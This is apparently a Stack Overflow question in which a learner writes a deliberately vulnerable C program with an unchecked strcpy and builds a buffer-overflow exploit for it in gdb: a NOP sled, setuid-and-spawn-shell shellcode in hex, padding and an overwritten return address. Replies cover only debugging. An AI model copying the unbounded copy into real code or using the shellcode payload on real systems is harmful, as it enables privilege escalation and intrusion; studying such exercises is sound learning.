1

I am reading here about basic buffer overflows: http://www.tenouk.com/Bufferoverflowc/Bufferoverflow6.html . I thought I understood what was happening so I made my own program:

//vulnerable1.c
#include <stdio.h>

#define MAX_DEGF_SIZE 720

int main(int argc, char* argv[])
{
    char degF[MAX_DEGF_SIZE];

    if (argc == 2 && strlen(argv[0]) < MAX_DEGF_SIZE) {
        strcpy(degF, argv[1]);
    } else {
        fprintf(stderr, "degF to degC converter\n");
        fprintf(stderr, "Usage: %s <degF>\n", argv[0]);

        return -1;
    }
}

Since the buffer size is 720, I tested how big the input would need to be.

./vulnerable1 `perl -e 'print "A"x728'`
AA...AAA degF is -17.8 degC

./vulnerable1 `perl -e 'print "A"x732'`
AA...AA degF is -17.8 degC
Segmentation fault

Here I see that I need at least 732 bytes. Next I disass main to see how many bytes have actually been reserved:

(gdb) disass main
Dump of assembler code for function main:
   0x08048514 <+0>: push   %ebp
   0x08048515 <+1>: mov    %esp,%ebp
   0x08048517 <+3>: and    $0xfffffff0,%esp
   0x0804851a <+6>: sub    $0x2f0,%esp

0x2f0 = 752. So the variable is padded by 20 bytes. Therefor, I need 756 bytes to start overwriting the saved ebp, and 760 bytes to to overwrite the return address. My stack breakdown is: NOPS(704 bytes) + shellcode (32 bytes) + 'A's (20 bytes) + Return Address ( 4 bytes) = 760

Now I try it out:

gdb -q vulnerable1
Reading symbols from /home/testUser/vulnerable1...done.
(gdb) break main
Breakpoint 1 at 0x8048520: file vulnerable1.c, line 11.
(gdb) r `perl -e 'print "\x90"x704, "\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80", "a"x20, "\xa0\xfb\xff\xbf"'`
Starting program: /home/testUser/vulnerable1 `perl -e 'print "\x90"x704, "\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80", "a"x20, "\xa0\xfb\xff\xbf"'`

Breakpoint 1, main (argc=2, argv=0xbffff564) at vulnerable1.c:11
11      if (argc == 2 && strlen(argv[0]) < MAX_DEGF_SIZE) {
(gdb) step
__strlen_sse2 () at ../sysdeps/i386/i686/multiarch/strlen.S:70
70  ../sysdeps/i386/i686/multiarch/strlen.S: No such file or directory.
    in ../sysdeps/i386/i686/multiarch/strlen.S
(gdb) step
73  in ../sysdeps/i386/i686/multiarch/strlen.S

What happens here?

6
  • You're using strlen(argv[0]), don't you mean strlen(argv[1])? Commented Mar 9, 2016 at 23:25
  • OP is trying to exploit a vulnerability in an example program. Yes, it has bugs, and intentionally so. Commented Mar 9, 2016 at 23:35
  • lets start with argv[0] is the name of the executable, not the first command line parameter. Commented Mar 10, 2016 at 18:55
  • since you do not have the source code for strcpy() visible to gdb, you should just next over that function call rather than trying to step through it. Commented Mar 10, 2016 at 19:01
  • the posted code is missing the statement: #include <string.h> Commented Mar 10, 2016 at 19:02

1 Answer 1

1

You're just stepping inside of strlen, which is apparently implemented in assembly and not in C (likely for performance).

Just keep stepping until you arrive back in main, or use next to step over the function call.

Sign up to request clarification or add additional context in comments.

2 Comments

Or break on the strcpy call, with break main.c:1234 (using the actual filename and line number instead of main.c and 1234)
If I just plain run it with these arguments I get ��...��1��ð̀1�Rhn/shh//bi��RS���B aaaaaaaaaaaaaaaaaaaa���� degF is -17.8 degC Segmentation fault for the ouput. But still the same user

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.